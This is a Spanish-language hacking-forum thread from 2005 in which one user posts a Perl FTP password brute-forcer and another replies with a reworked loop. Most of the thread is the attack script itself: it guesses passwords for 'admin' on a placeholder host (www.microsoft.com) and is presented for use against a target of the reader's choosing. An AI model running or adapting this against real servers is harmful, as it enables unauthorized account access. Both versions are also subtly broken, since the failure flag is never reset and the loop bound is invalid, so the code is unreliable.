Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: sikik en 27 Junio 2005, 14:45 pm



Título: ~Mi primer Ftp Brute Force en Perl.~
Publicado por: sikik en 27 Junio 2005, 14:45 pm
Estos dias de vacas me he puesto a programar un poco de perl, y esta mañana he terminado un brute force en perl, os dejo aqui el code

Código
  1. #!/usr/bin/perl
  2. #este programa va probando palabras  de la lista @letras hasta que encuentra la contraseña correcta.
  3. #este script esta hecho por sikik, bajo licencia bsd.
  4.  
  5. use Net::FTP;
  6. $username=admin; #se podria hacer tambien en brute force, pero seria muy lento.
  7. $dead=0;
  8.  
  9. while(1)
  10. {
  11.  
  12. @letras=(a, b,  c, aa, ab, ac, ba, bb, bc, ca, cb, cc); #si quieres usarlo tendras que poner una lista mucho mas larga.
  13. $posicion=rand(12);
  14. $password=@letras[$posicion];
  15.    $ftp = Net::FTP->new("www.microsoft.com", Debug => 0) or $dead=1; #hay que cambiar www.microsoft.com por el host que atacamos.
  16.  
  17.  
  18. $ftp->login($username, $password) or $dead=1;
  19. if($dead==0)
  20. {
  21. die("Contraseña encontrada, el password es: $password");
  22.  
  23. }
  24. };


Título: Re: ~Mi primer Ftp Brute Force en Perl.~
Publicado por: pepel en 27 Junio 2005, 15:50 pm
tal y como esta hecho puede que repitas varias veces el mismo pass = Poco optimo.(al igual que ya que no vamos acambiar el array letras, mejor ponerlo fuera del bucle) mejor si cambias el bucle por este:

Código
  1. @letras=(a, b,  c, aa, ab, ac, ba, bb, bc, ca, cb, cc); #si quieres usarlo tendras que poner una lista mucho mas larga.
  2. $posicion=0;
  3. while( $posicion < length(letras))
  4. {
  5. $posicion=$posicion+1;
  6. $password=@letras[$posicion];
  7.    $ftp = Net::FTP->new("www.microsoft.com", Debug => 0) or $dead=1; #hay que cambiar www.microsoft.com por el host que atacamos.
  8.  
  9. $ftp->login($username, $password) or $dead=1;
  10. if($dead==0)
  11. {
  12. die("Contraseña encontrada, el password es: $password");
  13.  
  14. }
  15. };

saludos,
   pepel

P.D. codigo no probado xD